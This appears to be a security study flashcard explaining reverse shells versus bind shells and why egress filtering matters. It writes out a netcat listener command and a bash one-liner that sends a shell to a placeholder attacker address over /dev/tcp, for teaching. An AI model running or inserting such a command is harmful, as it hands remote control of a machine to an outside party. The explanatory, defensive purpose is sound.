What is a reverse shell, and why do attackers prefer it over a normal (bind) shell?
A shell where the victim machine connects out to the attacker, who is listening — the reverse of the attacker connecting in. It beats inbound firewalls and NAT because outbound connections are usually allowed.
With a normal bind shell, the compromised host opens a listening port and waits for the attacker to connect in. That rarely works in practice: inbound traffic is filtered by firewalls, and a host behind NAT has no reachable address.
A reverse shell flips the direction. The attacker starts a listener (for example nc -lp 4444), and the exploited process on the victim connects out to it, wiring its own stdin/stdout to the socket:
# conceptually, on the victim:
bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
The attacker's terminal now drives a shell on the victim. Why it is preferred:
- Egress is usually open. Most networks let hosts make outbound connections (web, DNS, updates), so the callback slips through where an inbound connection would be blocked.
- NAT traversal. A victim behind NAT can still reach the attacker's public listener.
Defensively, this is why egress filtering and monitoring of unexpected outbound connections matter as much as blocking inbound ports.
* The victim connects OUT to the attacker — egress is usually allowed. *
Go deeper:
Acunetix: What is a reverse shell attack? — how reverse shells work and how to defend against them.
man7.org: unshare(1) and namespaces — the namespace tooling attackers and Docker both use.